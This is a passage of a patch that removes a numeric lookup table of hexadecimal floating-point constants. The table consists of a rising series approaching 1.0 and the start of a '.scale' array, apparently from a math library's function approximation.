+-	   0x1.e7714aec96534p-1,
+-	   0x1.e812fc64db369p-1,
+-	   0x1.e8b12a44944a8p-1,
+-	   0x1.e94be342e6743p-1,
+-	   0x1.e9e335fb56f87p-1,
+-	   0x1.ea7730ed0bbb9p-1,
+-	   0x1.eb07e27a133aap-1,
+-	   0x1.eb9558e6b42cep-1,
+-	   0x1.ec1fa258c4beap-1,
+-	   0x1.eca6ccd709544p-1,
+-	   0x1.ed2ae6489ac1ep-1,
+-	   0x1.edabfc7453e63p-1,
+-	   0x1.ee2a1d004692cp-1,
+-	   0x1.eea5557137ae0p-1,
+-	   0x1.ef1db32a2277cp-1,
+-	   0x1.ef93436bc2daap-1,
+-	   0x1.f006135426b26p-1,
+-	   0x1.f0762fde45ee6p-1,
+-	   0x1.f0e3a5e1a1788p-1,
+-	   0x1.f14e8211e8c55p-1,
+-	   0x1.f1b6d0fea5f4dp-1,
+-	   0x1.f21c9f12f0677p-1,
+-	   0x1.f27ff89525acfp-1,
+-	   0x1.f2e0e9a6a8b09p-1,
+-	   0x1.f33f7e43a706bp-1,
+-	   0x1.f39bc242e43e6p-1,
+-	   0x1.f3f5c1558b19ep-1,
+-	   0x1.f44d870704911p-1,
+-	   0x1.f4a31ebcd47dfp-1,
+-	   0x1.f4f693b67bd77p-1,
+-	   0x1.f547f10d60597p-1,
+-	   0x1.f59741b4b97cfp-1,
+-	   0x1.f5e4907982a07p-1,
+-	   0x1.f62fe80272419p-1,
+-	   0x1.f67952cff6282p-1,
+-	   0x1.f6c0db3c34641p-1,
+-	   0x1.f7068b7b10fd9p-1,
+-	   0x1.f74a6d9a38383p-1,
+-	   0x1.f78c8b812d498p-1,
+-	   0x1.f7cceef15d631p-1,
+-	   0x1.f80ba18636f07p-1,
+-	   0x1.f848acb544e95p-1,
+-	   0x1.f88419ce4e184p-1,
+-	   0x1.f8bdf1fb78370p-1,
+-	   0x1.f8f63e416ebffp-1,
+-	   0x1.f92d077f8d56dp-1,
+-	   0x1.f96256700da8ep-1,
+-	   0x1.f99633a838a57p-1,
+-	   0x1.f9c8a7989af0dp-1,
+-	   0x1.f9f9ba8d3c733p-1,
+-	   0x1.fa2974addae45p-1,
+-	   0x1.fa57ddfe27376p-1,
+-	   0x1.fa84fe5e05c8dp-1,
+-	   0x1.fab0dd89d1309p-1,
+-	   0x1.fadb831a9f9c3p-1,
+-	   0x1.fb04f6868a944p-1,
+-	   0x1.fb2d3f20f9101p-1,
+-	   0x1.fb54641aebbc9p-1,
+-	   0x1.fb7a6c834b5a2p-1,
+-	   0x1.fb9f5f4739170p-1,
+-	   0x1.fbc3433260ca5p-1,
+-	   0x1.fbe61eef4cf6ap-1,
+-	   0x1.fc07f907bc794p-1,
+-	   0x1.fc28d7e4f9cd0p-1,
+-	   0x1.fc48c1d033c7ap-1,
+-	   0x1.fc67bcf2d7b8fp-1,
+-	   0x1.fc85cf56ecd38p-1,
+-	   0x1.fca2fee770c79p-1,
+-	   0x1.fcbf5170b578bp-1,
+-	   0x1.fcdacca0bfb73p-1,
+-	   0x1.fcf57607a6e7cp-1,
+-	   0x1.fd0f5317f582fp-1,
+-	   0x1.fd2869270a56fp-1,
+-	   0x1.fd40bd6d7a785p-1,
+-	   0x1.fd58550773cb5p-1,
+-	   0x1.fd6f34f52013ap-1,
+-	   0x1.fd85621b0876dp-1,
+-	   0x1.fd9ae142795e3p-1,
+-	   0x1.fdafb719e6a69p-1,
+-	   0x1.fdc3e835500b3p-1,
+-	   0x1.fdd7790ea5bc0p-1,
+-	   0x1.fdea6e062d0c9p-1,
+-	   0x1.fdfccb62e52d3p-1,
+-	   0x1.fe0e9552ebdd6p-1,
+-	   0x1.fe1fcfebe2083p-1,
+-	   0x1.fe307f2b503d0p-1,
+-	   0x1.fe40a6f70af4bp-1,
+-	   0x1.fe504b1d9696cp-1,
+-	   0x1.fe5f6f568b301p-1,
+-	   0x1.fe6e1742f7cf6p-1,
+-	   0x1.fe7c466dc57a1p-1,
+-	   0x1.fe8a004c19ae6p-1,
+-	   0x1.fe97483db8670p-1,
+-	   0x1.fea4218d6594ap-1,
+-	   0x1.feb08f7146046p-1,
+-	   0x1.febc950b3fa75p-1,
+-	   0x1.fec835695932ep-1,
+-	   0x1.fed37386190fbp-1,
+-	   0x1.fede5248e38f4p-1,
+-	   0x1.fee8d486585eep-1,
+-	   0x1.fef2fd00af31ap-1,
+-	   0x1.fefcce6813974p-1,
+-	   0x1.ff064b5afffbep-1,
+-	   0x1.ff0f766697c76p-1,
+-	   0x1.ff18520700971p-1,
+-	   0x1.ff20e0a7ba8c2p-1,
+-	   0x1.ff2924a3f7a83p-1,
+-	   0x1.ff312046f2339p-1,
+-	   0x1.ff38d5cc4227fp-1,
+-	   0x1.ff404760319b4p-1,
+-	   0x1.ff47772010262p-1,
+-	   0x1.ff4e671a85425p-1,
+-	   0x1.ff55194fe19dfp-1,
+-	   0x1.ff5b8fb26f5f6p-1,
+-	   0x1.ff61cc26c1578p-1,
+-	   0x1.ff67d08401202p-1,
+-	   0x1.ff6d9e943c231p-1,
+-	   0x1.ff733814af88cp-1,
+-	   0x1.ff789eb6130c9p-1,
+-	   0x1.ff7dd41ce2b4dp-1,
+-	   0x1.ff82d9e1a76d8p-1,
+-	   0x1.ff87b1913e853p-1,
+-	   0x1.ff8c5cad200a5p-1,
+-	   0x1.ff90dcaba4096p-1,
+-	   0x1.ff9532f846ab0p-1,
+-	   0x1.ff9960f3eb327p-1,
+-	   0x1.ff9d67f51ddbap-1,
+-	   0x1.ffa14948549a7p-1,
+-	   0x1.ffa506302ebaep-1,
+-	   0x1.ffa89fe5b3625p-1,
+-	   0x1.ffac17988ef4bp-1,
+-	   0x1.ffaf6e6f4f5c0p-1,
+-	   0x1.ffb2a5879f35ep-1,
+-	   0x1.ffb5bdf67fe6fp-1,
+-	   0x1.ffb8b8c88295fp-1,
+-	   0x1.ffbb970200110p-1,
+-	   0x1.ffbe599f4f9d9p-1,
+-	   0x1.ffc10194fcb64p-1,
+-	   0x1.ffc38fcffbb7cp-1,
+-	   0x1.ffc60535dd7f5p-1,
+-	   0x1.ffc862a501fd7p-1,
+-	   0x1.ffcaa8f4c9beap-1,
+-	   0x1.ffccd8f5c66d1p-1,
+-	   0x1.ffcef371ea4d7p-1,
+-	   0x1.ffd0f92cb6ba7p-1,
+-	   0x1.ffd2eae369a07p-1,
+-	   0x1.ffd4c94d29fdbp-1,
+-	   0x1.ffd6951b33686p-1,
+-	   0x1.ffd84ef9009eep-1,
+-	   0x1.ffd9f78c7524ap-1,
+-	   0x1.ffdb8f7605ee7p-1,
+-	   0x1.ffdd1750e1220p-1,
+-	   0x1.ffde8fb314ebfp-1,
+-	   0x1.ffdff92db56e5p-1,
+-	   0x1.ffe1544d01ccbp-1,
+-	   0x1.ffe2a1988857cp-1,
+-	   0x1.ffe3e19349dc7p-1,
+-	   0x1.ffe514bbdc197p-1,
+-	   0x1.ffe63b8c8b5f7p-1,
+-	   0x1.ffe7567b7b5e1p-1,
+-	   0x1.ffe865fac722bp-1,
+-	   0x1.ffe96a78a04a9p-1,
+-	   0x1.ffea645f6d6dap-1,
+-	   0x1.ffeb5415e7c44p-1,
+-	   0x1.ffec39ff380b9p-1,
+-	   0x1.ffed167b12ac2p-1,
+-	   0x1.ffede9e5d3262p-1,
+-	   0x1.ffeeb49896c6dp-1,
+-	   0x1.ffef76e956a9fp-1,
+-	   0x1.fff0312b010b5p-1,
+-	   0x1.fff0e3ad91ec2p-1,
+-	   0x1.fff18ebe2b0e1p-1,
+-	   0x1.fff232a72b48ep-1,
+-	   0x1.fff2cfb0453d9p-1,
+-	   0x1.fff3661e9569dp-1,
+-	   0x1.fff3f634b79f9p-1,
+-	   0x1.fff48032dbe40p-1,
+-	   0x1.fff50456dab8cp-1,
+-	   0x1.fff582dc48d30p-1,
+-	   0x1.fff5fbfc8a439p-1,
+-	   0x1.fff66feee5129p-1,
+-	   0x1.fff6dee89352ep-1,
+-	   0x1.fff7491cd4af6p-1,
+-	   0x1.fff7aebcff755p-1,
+-	   0x1.fff80ff8911fdp-1,
+-	   0x1.fff86cfd3e657p-1,
+-	   0x1.fff8c5f702ccfp-1,
+-	   0x1.fff91b102fca8p-1,
+-	   0x1.fff96c717b695p-1,
+-	   0x1.fff9ba420e834p-1,
+-	   0x1.fffa04a7928b1p-1,
+-	   0x1.fffa4bc63ee9ap-1,
+-	   0x1.fffa8fc0e5f33p-1,
+-	   0x1.fffad0b901755p-1,
+-	   0x1.fffb0ecebee1bp-1,
+-	   0x1.fffb4a210b172p-1,
+-	   0x1.fffb82cd9dcbfp-1,
+-	   0x1.fffbb8f1049c6p-1,
+-	   0x1.fffbeca6adbe9p-1,
+-	   0x1.fffc1e08f25f5p-1,
+-	   0x1.fffc4d3120aa1p-1,
+-	   0x1.fffc7a37857d2p-1,
+-	   0x1.fffca53375ce3p-1,
+-	   0x1.fffcce3b57bffp-1,
+-	   0x1.fffcf564ab6b7p-1,
+-	   0x1.fffd1ac4135f9p-1,
+-	   0x1.fffd3e6d5cd87p-1,
+-	   0x1.fffd607387b07p-1,
+-	   0x1.fffd80e8ce0dap-1,
+-	   0x1.fffd9fdeabccep-1,
+-	   0x1.fffdbd65e5ad0p-1,
+-	   0x1.fffdd98e903b2p-1,
+-	   0x1.fffdf46816833p-1,
+-	   0x1.fffe0e0140857p-1,
+-	   0x1.fffe26683972ap-1,
+-	   0x1.fffe3daa95b18p-1,
+-	   0x1.fffe53d558ae9p-1,
+-	   0x1.fffe68f4fa777p-1,
+-	   0x1.fffe7d156d244p-1,
+-	   0x1.fffe904222101p-1,
+-	   0x1.fffea2860ee1ep-1,
+-	   0x1.fffeb3ebb267bp-1,
+-	   0x1.fffec47d19457p-1,
+-	   0x1.fffed443e2787p-1,
+-	   0x1.fffee34943b15p-1,
+-	   0x1.fffef1960d85dp-1,
+-	   0x1.fffeff32af7afp-1,
+-	   0x1.ffff0c273bea2p-1,
+-	   0x1.ffff187b6bc0ep-1,
+-	   0x1.ffff2436a21dcp-1,
+-	   0x1.ffff2f5fefcaap-1,
+-	   0x1.ffff39fe16963p-1,
+-	   0x1.ffff44178c8d2p-1,
+-	   0x1.ffff4db27f146p-1,
+-	   0x1.ffff56d4d5e5ep-1,
+-	   0x1.ffff5f8435efcp-1,
+-	   0x1.ffff67c604180p-1,
+-	   0x1.ffff6f9f67e55p-1,
+-	   0x1.ffff77154e0d6p-1,
+-	   0x1.ffff7e2c6aea2p-1,
+-	   0x1.ffff84e93cd75p-1,
+-	   0x1.ffff8b500e77cp-1,
+-	   0x1.ffff9164f8e46p-1,
+-	   0x1.ffff972be5c59p-1,
+-	   0x1.ffff9ca891572p-1,
+-	   0x1.ffffa1de8c582p-1,
+-	   0x1.ffffa6d13de73p-1,
+-	   0x1.ffffab83e54b8p-1,
+-	   0x1.ffffaff99bac4p-1,
+-	   0x1.ffffb43555b5fp-1,
+-	   0x1.ffffb839e52f3p-1,
+-	   0x1.ffffbc09fa7cdp-1,
+-	   0x1.ffffbfa82616bp-1,
+-	   0x1.ffffc316d9ed0p-1,
+-	   0x1.ffffc6586abf6p-1,
+-	   0x1.ffffc96f1165ep-1,
+-	   0x1.ffffcc5cec0c1p-1,
+-	   0x1.ffffcf23ff5fcp-1,
+-	   0x1.ffffd1c637b2bp-1,
+-	   0x1.ffffd4456a10dp-1,
+-	   0x1.ffffd6a3554a1p-1,
+-	   0x1.ffffd8e1a2f22p-1,
+-	   0x1.ffffdb01e8546p-1,
+-	   0x1.ffffdd05a75eap-1,
+-	   0x1.ffffdeee4f810p-1,
+-	   0x1.ffffe0bd3e852p-1,
+-	   0x1.ffffe273c15b7p-1,
+-	   0x1.ffffe41314e06p-1,
+-	   0x1.ffffe59c6698bp-1,
+-	   0x1.ffffe710d565ep-1,
+-	   0x1.ffffe8717232dp-1,
+-	   0x1.ffffe9bf4098cp-1,
+-	   0x1.ffffeafb377d5p-1,
+-	   0x1.ffffec2641a9ep-1,
+-	   0x1.ffffed413e5b7p-1,
+-	   0x1.ffffee4d01cd6p-1,
+-	   0x1.ffffef4a55bd4p-1,
+-	   0x1.fffff039f9e8fp-1,
+-	   0x1.fffff11ca4876p-1,
+-	   0x1.fffff1f302bc1p-1,
+-	   0x1.fffff2bdb904dp-1,
+-	   0x1.fffff37d63a36p-1,
+-	   0x1.fffff43297019p-1,
+-	   0x1.fffff4dde0118p-1,
+-	   0x1.fffff57fc4a95p-1,
+-	   0x1.fffff618c3da6p-1,
+-	   0x1.fffff6a956450p-1,
+-	   0x1.fffff731ee681p-1,
+-	   0x1.fffff7b2f8ed6p-1,
+-	   0x1.fffff82cdcf1bp-1,
+-	   0x1.fffff89ffc4aap-1,
+-	   0x1.fffff90cb3c81p-1,
+-	   0x1.fffff9735b73bp-1,
+-	   0x1.fffff9d446cccp-1,
+-	   0x1.fffffa2fc5015p-1,
+-	   0x1.fffffa8621251p-1,
+-	   0x1.fffffad7a2652p-1,
+-	   0x1.fffffb248c39dp-1,
+-	   0x1.fffffb6d1e95dp-1,
+-	   0x1.fffffbb196132p-1,
+-	   0x1.fffffbf22c1e2p-1,
+-	   0x1.fffffc2f171e3p-1,
+-	   0x1.fffffc688a9cfp-1,
+-	   0x1.fffffc9eb76acp-1,
+-	   0x1.fffffcd1cbc28p-1,
+-	   0x1.fffffd01f36afp-1,
+-	   0x1.fffffd2f57d68p-1,
+-	   0x1.fffffd5a2041fp-1,
+-	   0x1.fffffd8271d12p-1,
+-	   0x1.fffffda86faa9p-1,
+-	   0x1.fffffdcc3b117p-1,
+-	   0x1.fffffdedf37edp-1,
+-	   0x1.fffffe0db6b91p-1,
+-	   0x1.fffffe2ba0ea5p-1,
+-	   0x1.fffffe47ccb60p-1,
+-	   0x1.fffffe62534d4p-1,
+-	   0x1.fffffe7b4c81ep-1,
+-	   0x1.fffffe92ced93p-1,
+-	   0x1.fffffea8ef9cfp-1,
+-	   0x1.fffffebdc2ec6p-1,
+-	   0x1.fffffed15bcbap-1,
+-	   0x1.fffffee3cc32cp-1,
+-	   0x1.fffffef5251c2p-1,
+-	   0x1.ffffff0576917p-1,
+-	   0x1.ffffff14cfb92p-1,
+-	   0x1.ffffff233ee1dp-1,
+-	   0x1.ffffff30d18e8p-1,
+-	   0x1.ffffff3d9480fp-1,
+-	   0x1.ffffff4993c46p-1,
+-	   0x1.ffffff54dab72p-1,
+-	   0x1.ffffff5f74141p-1,
+-	   0x1.ffffff6969fb8p-1,
+-	   0x1.ffffff72c5fb6p-1,
+-	   0x1.ffffff7b91176p-1,
+-	   0x1.ffffff83d3d07p-1,
+-	   0x1.ffffff8b962bep-1,
+-	   0x1.ffffff92dfba2p-1,
+-	   0x1.ffffff99b79d2p-1,
+-	   0x1.ffffffa0248e8p-1,
+-	   0x1.ffffffa62ce54p-1,
+-	   0x1.ffffffabd69b4p-1,
+-	   0x1.ffffffb127525p-1,
+-	   0x1.ffffffb624592p-1,
+-	   0x1.ffffffbad2affp-1,
+-	   0x1.ffffffbf370cdp-1,
+-	   0x1.ffffffc355dfdp-1,
+-	   0x1.ffffffc733572p-1,
+-	   0x1.ffffffcad3626p-1,
+-	   0x1.ffffffce39b67p-1,
+-	   0x1.ffffffd169d0cp-1,
+-	   0x1.ffffffd466fa5p-1,
+-	   0x1.ffffffd7344aap-1,
+-	   0x1.ffffffd9d4aabp-1,
+-	   0x1.ffffffdc4ad7ap-1,
+-	   0x1.ffffffde9964ep-1,
+-	   0x1.ffffffe0c2bf0p-1,
+-	   0x1.ffffffe2c92dbp-1,
+-	   0x1.ffffffe4aed5ep-1,
+-	   0x1.ffffffe675bbdp-1,
+-	   0x1.ffffffe81fc4ep-1,
+-	   0x1.ffffffe9aeb97p-1,
+-	   0x1.ffffffeb24467p-1,
+-	   0x1.ffffffec81ff2p-1,
+-	   0x1.ffffffedc95e7p-1,
+-	   0x1.ffffffeefbc85p-1,
+-	   0x1.fffffff01a8b6p-1,
+-	   0x1.fffffff126e1ep-1,
+-	   0x1.fffffff221f30p-1,
+-	   0x1.fffffff30cd3fp-1,
+-	   0x1.fffffff3e8892p-1,
+-	   0x1.fffffff4b606fp-1,
+-	   0x1.fffffff57632dp-1,
+-	   0x1.fffffff629e44p-1,
+-	   0x1.fffffff6d1e56p-1,
+-	   0x1.fffffff76ef3fp-1,
+-	   0x1.fffffff801c1fp-1,
+-	   0x1.fffffff88af67p-1,
+-	   0x1.fffffff90b2e3p-1,
+-	   0x1.fffffff982fc1p-1,
+-	   0x1.fffffff9f2e9fp-1,
+-	   0x1.fffffffa5b790p-1,
+-	   0x1.fffffffabd229p-1,
+-	   0x1.fffffffb18582p-1,
+-	   0x1.fffffffb6d844p-1,
+-	   0x1.fffffffbbd0aap-1,
+-	   0x1.fffffffc0748fp-1,
+-	   0x1.fffffffc4c96cp-1,
+-	   0x1.fffffffc8d462p-1,
+-	   0x1.fffffffcc9a41p-1,
+-	   0x1.fffffffd01f89p-1,
+-	   0x1.fffffffd36871p-1,
+-	   0x1.fffffffd678edp-1,
+-	   0x1.fffffffd954aep-1,
+-	   0x1.fffffffdbff2ap-1,
+-	   0x1.fffffffde7ba0p-1,
+-	   0x1.fffffffe0cd16p-1,
+-	   0x1.fffffffe2f664p-1,
+-	   0x1.fffffffe4fa30p-1,
+-	   0x1.fffffffe6daf7p-1,
+-	   0x1.fffffffe89b0cp-1,
+-	   0x1.fffffffea3c9ap-1,
+-	   0x1.fffffffebc1a9p-1,
+-	   0x1.fffffffed2c21p-1,
+-	   0x1.fffffffee7dc8p-1,
+-	   0x1.fffffffefb847p-1,
+-	   0x1.ffffffff0dd2bp-1,
+-	   0x1.ffffffff1ede9p-1,
+-	   0x1.ffffffff2ebdap-1,
+-	   0x1.ffffffff3d843p-1,
+-	   0x1.ffffffff4b453p-1,
+-	   0x1.ffffffff58126p-1,
+-	   0x1.ffffffff63fc3p-1,
+-	   0x1.ffffffff6f121p-1,
+-	   0x1.ffffffff79626p-1,
+-	   0x1.ffffffff82fabp-1,
+-	   0x1.ffffffff8be77p-1,
+-	   0x1.ffffffff94346p-1,
+-	   0x1.ffffffff9bec8p-1,
+-	   0x1.ffffffffa319fp-1,
+-	   0x1.ffffffffa9c63p-1,
+-	   0x1.ffffffffaffa4p-1,
+-	   0x1.ffffffffb5be5p-1,
+-	   0x1.ffffffffbb1a2p-1,
+-	   0x1.ffffffffc014ep-1,
+-	   0x1.ffffffffc4b56p-1,
+-	   0x1.ffffffffc901cp-1,
+-	   0x1.ffffffffccfffp-1,
+-	   0x1.ffffffffd0b56p-1,
+-	   0x1.ffffffffd4271p-1,
+-	   0x1.ffffffffd759dp-1,
+-	   0x1.ffffffffda520p-1,
+-	   0x1.ffffffffdd13cp-1,
+-	   0x1.ffffffffdfa2dp-1,
+-	   0x1.ffffffffe202dp-1,
+-	   0x1.ffffffffe4371p-1,
+-	   0x1.ffffffffe642ap-1,
+-	   0x1.ffffffffe8286p-1,
+-	   0x1.ffffffffe9eb0p-1,
+-	   0x1.ffffffffeb8d0p-1,
+-	   0x1.ffffffffed10ap-1,
+-	   0x1.ffffffffee782p-1,
+-	   0x1.ffffffffefc57p-1,
+-	   0x1.fffffffff0fa7p-1,
+-	   0x1.fffffffff218fp-1,
+-	   0x1.fffffffff3227p-1,
+-	   0x1.fffffffff4188p-1,
+-	   0x1.fffffffff4fc9p-1,
+-	   0x1.fffffffff5cfdp-1,
+-	   0x1.fffffffff6939p-1,
+-	   0x1.fffffffff748ep-1,
+-	   0x1.fffffffff7f0dp-1,
+-	   0x1.fffffffff88c5p-1,
+-	   0x1.fffffffff91c6p-1,
+-	   0x1.fffffffff9a1bp-1,
+-	   0x1.fffffffffa1d2p-1,
+-	   0x1.fffffffffa8f6p-1,
+-	   0x1.fffffffffaf92p-1,
+-	   0x1.fffffffffb5b0p-1,
+-	   0x1.fffffffffbb58p-1,
+-	   0x1.fffffffffc095p-1,
+-	   0x1.fffffffffc56dp-1,
+-	   0x1.fffffffffc9e8p-1,
+-	   0x1.fffffffffce0dp-1,
+-	   0x1.fffffffffd1e1p-1,
+-	   0x1.fffffffffd56cp-1,
+-	   0x1.fffffffffd8b3p-1,
+-	   0x1.fffffffffdbbap-1,
+-	   0x1.fffffffffde86p-1,
+-	   0x1.fffffffffe11dp-1,
+-	   0x1.fffffffffe380p-1,
+-	   0x1.fffffffffe5b6p-1,
+-	   0x1.fffffffffe7c0p-1,
+-	   0x1.fffffffffe9a2p-1,
+-	   0x1.fffffffffeb60p-1,
+-	   0x1.fffffffffecfbp-1,
+-	   0x1.fffffffffee77p-1,
+-	   0x1.fffffffffefd6p-1,
+-	   0x1.ffffffffff11ap-1,
+-	   0x1.ffffffffff245p-1,
+-	   0x1.ffffffffff359p-1,
+-	   0x1.ffffffffff457p-1,
+-	   0x1.ffffffffff542p-1,
+-	   0x1.ffffffffff61bp-1,
+-	   0x1.ffffffffff6e3p-1,
+-	   0x1.ffffffffff79bp-1,
+-	   0x1.ffffffffff845p-1,
+-	   0x1.ffffffffff8e2p-1,
+-	   0x1.ffffffffff973p-1,
+-	   0x1.ffffffffff9f8p-1,
+-	   0x1.ffffffffffa73p-1,
+-	   0x1.ffffffffffae4p-1,
+-	   0x1.ffffffffffb4cp-1,
+-	   0x1.ffffffffffbadp-1,
+-	   0x1.ffffffffffc05p-1,
+-	   0x1.ffffffffffc57p-1,
+-	   0x1.ffffffffffca2p-1,
+-	   0x1.ffffffffffce7p-1,
+-	   0x1.ffffffffffd27p-1,
+-	   0x1.ffffffffffd62p-1,
+-	   0x1.ffffffffffd98p-1,
+-	   0x1.ffffffffffdcap-1,
+-	   0x1.ffffffffffdf8p-1,
+-	   0x1.ffffffffffe22p-1,
+-	   0x1.ffffffffffe49p-1,
+-	   0x1.ffffffffffe6cp-1,
+-	   0x1.ffffffffffe8dp-1,
+-	   0x1.ffffffffffeabp-1,
+-	   0x1.ffffffffffec7p-1,
+-	   0x1.ffffffffffee1p-1,
+-	   0x1.ffffffffffef8p-1,
+-	   0x1.fffffffffff0ep-1,
+-	   0x1.fffffffffff22p-1,
+-	   0x1.fffffffffff34p-1,
+-	   0x1.fffffffffff45p-1,
+-	   0x1.fffffffffff54p-1,
+-	   0x1.fffffffffff62p-1,
+-	   0x1.fffffffffff6fp-1,
+-	   0x1.fffffffffff7bp-1,
+-	   0x1.fffffffffff86p-1,
+-	   0x1.fffffffffff90p-1,
+-	   0x1.fffffffffff9ap-1,
+-	   0x1.fffffffffffa2p-1,
+-	   0x1.fffffffffffaap-1,
+-	   0x1.fffffffffffb1p-1,
+-	   0x1.fffffffffffb8p-1,
+-	   0x1.fffffffffffbep-1,
+-	   0x1.fffffffffffc3p-1,
+-	   0x1.fffffffffffc8p-1,
+-	   0x1.fffffffffffcdp-1,
+-	   0x1.fffffffffffd1p-1,
+-	   0x1.fffffffffffd5p-1,
+-	   0x1.fffffffffffd9p-1,
+-	   0x1.fffffffffffdcp-1,
+-	   0x1.fffffffffffdfp-1,
+-	   0x1.fffffffffffe2p-1,
+-	   0x1.fffffffffffe4p-1,
+-	   0x1.fffffffffffe7p-1,
+-	   0x1.fffffffffffe9p-1,
+-	   0x1.fffffffffffebp-1,
+-	   0x1.fffffffffffedp-1,
+-	   0x1.fffffffffffeep-1,
+-	   0x1.ffffffffffff0p-1,
+-	   0x1.ffffffffffff1p-1,
+-	   0x1.ffffffffffff3p-1,
+-	   0x1.ffffffffffff4p-1,
+-	   0x1.ffffffffffff5p-1,
+-	   0x1.ffffffffffff6p-1,
+-	   0x1.ffffffffffff7p-1,
+-	   0x1.ffffffffffff7p-1,
+-	   0x1.ffffffffffff8p-1,
+-	   0x1.ffffffffffff9p-1,
+-	   0x1.ffffffffffff9p-1,
+-	   0x1.ffffffffffffap-1,
+-	   0x1.ffffffffffffbp-1,
+-	   0x1.ffffffffffffbp-1,
+-	   0x1.ffffffffffffbp-1,
+-	   0x1.ffffffffffffcp-1,
+-	   0x1.ffffffffffffcp-1,
+-	   0x1.ffffffffffffdp-1,
+-	   0x1.ffffffffffffdp-1,
+-	   0x1.ffffffffffffdp-1,
+-	   0x1.ffffffffffffdp-1,
+-	   0x1.ffffffffffffep-1,
+-	   0x1.ffffffffffffep-1,
+-	   0x1.ffffffffffffep-1,
+-	   0x1.ffffffffffffep-1,
+-	   0x1.ffffffffffffep-1,
+-	   0x1.ffffffffffffep-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.fffffffffffffp-1,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-	   0x1.0000000000000p+0,
+-  },
+-  .scale = { 0x1.20dd750429b6dp+0,
+-	     0x1.20d8f1975c85dp+0,
+-	     0x1.20cb67bd452c7p+0,
+-	     0x1.20b4d8bac36c1p+0,
+-	     0x1.209546ad13ccfp+0,
+-	     0x1.206cb4897b148p+0,
+-	     0x1.203b261cd0052p+0,
+-	     0x1.2000a00ae3804p+0,
+-	     0x1.1fbd27cdc72d3p+0,
+-	     0x1.1f70c3b4f2cc7p+0,
+-	     0x1.1f1b7ae44867fp+0,
+-	     0x1.1ebd5552f795bp+0,
+-	     0x1.1e565bca400d4p+0,
+-	     0x1.1de697e413d28p+0,
+-	     0x1.1d6e14099944ap+0,
+-	     0x1.1cecdb718d61cp+0,
+-	     0x1.1c62fa1e869b6p+0,
+-	     0x1.1bd07cdd189acp+0,
+-	     0x1.1b357141d95d5p+0,
+-	     0x1.1a91e5a748165p+0,
+-	     0x1.19e5e92b964abp+0,
+-	     0x1.19318bae53a04p+0,
+-	     0x1.1874ddcdfce24p+0,
+-	     0x1.17aff0e56ec10p+0,
+-	     0x1.16e2d7093cd8cp+0,
+-	     0x1.160da304ed92fp+0,
+-	     0x1.153068581b781p+0,
+-	     0x1.144b3b337c90cp+0,
+-	     0x1.135e3075d076bp+0,
+-	     0x1.12695da8b5bdep+0,
+-	     0x1.116cd8fd67618p+0,
+-	     0x1.1068b94962e5ep+0,
+-	     0x1.0f5d1602f7e41p+0,
+-	     0x1.0e4a073dc1b91p+0,
+-	     0x1.0d2fa5a70c168p+0,
+-	     0x1.0c0e0a8223359p+0,
+-	     0x1.0ae54fa490722p+0,
+-	     0x1.09b58f724416bp+0,
+-	     0x1.087ee4d9ad247p+0,
+-	     0x1.07416b4fbfe7cp+0,
+-	     0x1.05fd3ecbec297p+0,
+-	     0x1.04b27bc403d30p+0,
+-	     0x1.03613f2812dafp+0,
+-	     0x1.0209a65e29545p+0,
+-	     0x1.00abcf3e187a9p+0,
+-	     0x1.fe8fb01a47307p-1,
+-	     0x1.fbbbbef34b4b2p-1,
+-	     0x1.f8dc092d58ff8p-1,
+-	     0x1.f5f0cdaf15313p-1,
+-	     0x1.f2fa4c16c0019p-1,
+-	     0x1.eff8c4b1375dbp-1,
+-	     0x1.ecec7870ebca7p-1,
+-	     0x1.e9d5a8e4c934ep-1,
+-	     0x1.e6b4982f158b9p-1,
+-	     0x1.e38988fc46e72p-1,
+-	     0x1.e054be79d3042p-1,
+-	     0x1.dd167c4cf9d2ap-1,
+-	     0x1.d9cf06898cdafp-1,
+-	     0x1.d67ea1a8b5368p-1,
+-	     0x1.d325927fb9d89p-1,
+-	     0x1.cfc41e36c7df9p-1,
+-	     0x1.cc5a8a3fbea40p-1,
+-	     0x1.c8e91c4d01368p-1,
+-	     0x1.c5701a484ef9dp-1,
+-	     0x1.c1efca49a5011p-1,
+-	     0x1.be68728e29d5dp-1,
+-	     0x1.bada596f25436p-1,
+-	     0x1.b745c55905bf8p-1,
+-	     0x1.b3aafcc27502ep-1,
+-	     0x1.b00a46237d5bep-1,
+-	     0x1.ac63e7ecc1411p-1,
+-	     0x1.a8b8287ec6a09p-1,
+-	     0x1.a5074e2157620p-1,
+-	     0x1.a1519efaf889ep-1,
+-	     0x1.9d97610879642p-1,
+-	     0x1.99d8da149c13fp-1,
+-	     0x1.96164fafd8de3p-1,
+-	     0x1.925007283d7aap-1,
+-	     0x1.8e86458169af8p-1,
+-	     0x1.8ab94f6caa71dp-1,
+-	     0x1.86e9694134b9ep-1,
+-	     0x1.8316d6f48133dp-1,
+-	     0x1.7f41dc12c9e89p-1,
+-	     0x1.7b6abbb7aaf19p-1,
+-	     0x1.7791b886e7403p-1,
+-	     0x1.73b714a552763p-1,
+-	     0x1.6fdb11b1e0c34p-1,
+-	     0x1.6bfdf0beddaf5p-1,
+-	     0x1.681ff24b4ab04p-1,
+-	     0x1.6441563c665d4p-1,
+-	     0x1.60625bd75d07bp-1,
+-	     0x1.5c8341bb23767p-1,
+-	     0x1.58a445da7c74cp-1,
+-	     0x1.54c5a57629db0p-1,
+-	     0x1.50e79d1749ac9p-1,
+-	     0x1.4d0a6889dfd9fp-1,
+-	     0x1.492e42d78d2c5p-1,
+-	     0x1.4553664273d24p-1,
+-	     0x1.417a0c4049fd0p-1,
+-	     0x1.3da26d759aef5p-1,
+-	     0x1.39ccc1b136d5ap-1,
+-	     0x1.35f93fe7d1b3dp-1,
+-	     0x1.32281e2fd1a92p-1,
+-	     0x1.2e5991bd4cbfcp-1,
